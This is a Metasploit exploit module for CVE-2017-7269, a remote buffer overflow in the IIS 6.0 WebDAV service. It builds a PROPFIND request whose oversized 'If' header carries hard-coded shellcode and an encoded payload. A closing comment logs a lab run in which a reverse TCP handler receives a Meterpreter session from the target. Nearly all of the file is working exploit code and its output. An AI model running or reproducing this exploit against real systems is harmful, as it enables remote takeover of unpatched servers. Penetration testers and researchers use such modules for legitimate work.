CVE-2017-7269.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
      'Description' => %q{
        Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service
        in Internet Information Services (IIS) 6.0 in Microsoft Windows Server
        2003 R2 allows remote attackers to execute arbitrary code via a long header
        beginning with "If: <http://" in a PROPFIND request, as exploited in the
        wild in July or August 2016.
      },
      'Author'              => [
        'Zhiniang Peng',  # Original author
        'Chen Wu',        # Original author
        'Dominic Chell <dominic[at]mdsec.co.uk>', # Metasploit Module
        'espreto <robertoespreto[at]gmail.com>'   # Metasploit fixups
      ],
      'License'             => MSF_LICENSE,
      'References'          => [
        ['CVE', '2017-7269'],
        ['BID', '97127'],
        ['URL', 'https://github.com/edwardz246003/IIS_exploit']
      ],
      'Privileged'          => false,
      'Payload'             => {
        'Space'             => 2000,
        'BadChars'          => "\x00",
        'EncoderType'       => Msf::Encoder::Type::AlphanumUnicodeMixed,
        'DisableNops'       => 'True',
        'EncoderOptions'    => {
          'BufferRegister'  => 'ESI'
        },
      },
      'DefaultOptions'      => {
        'EXITFUNC'          => 'process',
        'PrependMigrate'    => true
      },
      'Targets'             => [
        [
          'Microsoft Windows Server 2003 R2 SP2', {
            'Platform'      => 'win'
          },
        ],
      ],
      'Platform'            => 'win',
      'DisclosureDate'      => 'Mar 26 2017',
      'DefaultTarget'       => 0
    ))

    register_options([
        Opt::RPORT(80),
        OptString.new('VHOST', [ true, 'The virtual host name to use in requests', 'localhost']),
    ], self.class)
  end

  def check
    res = send_request_cgi(
      'method'  => 'OPTIONS',
      'uri'     => normalize_uri(target_uri.path)
    )
    if res && res.headers['Server'].include?('IIS/6.0') &&
        res.headers['MS-Author-Via'].include?('DAV') &&
        res.headers['Allow'].include?('PROPFIND')
      return Exploit::CheckCode::Appears
    end
    Exploit::CheckCode::Safe
  end

  def random_uri
    Rex::Text.rand_text_alpha_lower(7)
  end

  def exploit

    begin
      buf = "<http://localhost/#{random_uri}"
      buf += "\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4"
      buf += "\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9"
      buf += "\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93"
      buf += "\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7"
      buf += "\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89"
      buf += "\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87"
      buf += "\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5"
      buf += "\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89"
      buf += "\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90"
      buf += "\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7"
      buf += "\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd"
      buf += "\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d"
      buf += "\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7"
      buf += "\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95"
      buf += "\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98"
      buf += "\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5"
      buf += "\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c"
      buf += "\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83"
      buf += "\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5"
      buf += "\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6"
      buf += "\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd"
      buf += "\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92"
      buf += "\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6"
      buf += "\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f"
      buf += "\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0"
      buf += "\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7"
      buf += "\xa5\x81\xe7\xa9\x90\xe4\xa9\xac"
      buf += ">"
      buf += "(Not <locktoken:write1>) <http://localhost/#{random_uri}"
      buf += "\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4"
      buf += "\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d"
      buf += "\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93"
      buf += "\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4"
      buf += "\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d"
      buf += "\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1"
      buf += "\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3"
      buf += "\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d"
      buf += "\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6"
      buf += "\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6"
      buf += "\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99"
      buf += "\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86"
      buf += "\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7"
      buf += "\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d"
      buf += "\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9"
      buf += "\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4"
      buf += "\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9"
      buf += "\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5"
      buf += "\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5"
      buf += "\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9"
      buf += "\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83"
      buf += "\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4"
      buf += "\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84"
      buf += "\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97"
      buf += "\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6"
      buf += "\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf"
      buf += "\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85"
      buf += "\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81"
      buf += "\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3"
      buf += "\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90"
      buf += "\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8"
      buf += "\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6"
      buf += "\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd"
      buf += "\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81"
      buf += payload.encoded
      buf += ">"

      send_request_raw(
        'uri'     => normalize_uri(target_uri.path),
        'method'  => 'PROPFIND',
        'headers' => {
          'Content-Length' => 0,
          'If' => buf
        }
      )

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable,
      ::Rex::ConnectionTimeout => e
      fail_with(Failure::NoTarget, "#{e.message}")
    end
  end

end

=begin
gotham 192.168.1.39 shell[s]:0 job[s]:0 msf > use exploit/windows/iis/iis_webdav_scstoragepathfromurl 
gotham 192.168.1.39 shell[s]:0 job[s]:0 msf exploit(iis_webdav_scstoragepathfromurl) > set RHOST 192.168.1.38
RHOST => 192.168.1.38
gotham 192.168.1.39 shell[s]:0 job[s]:0 msf exploit(iis_webdav_scstoragepathfromurl) > exploit 

[*] Started reverse TCP handler on 192.168.1.39:4444 
[*] Sending stage (957487 bytes) to 192.168.1.38
[*] Meterpreter session 1 opened (192.168.1.39:4444 -> 192.168.1.38:1027) at 2017-03-29 17:38:23 -0300

meterpreter > sysinfo 
Computer        : WINDOWS_MSF_LAB
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : pt_BR
Domain          : GRUPO
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > background 
[*] Backgrounding session 1...
gotham 192.168.1.39 shell[s]:1 job[s]:0 msf exploit(iis_webdav_scstoragepathfromurl) > 
=end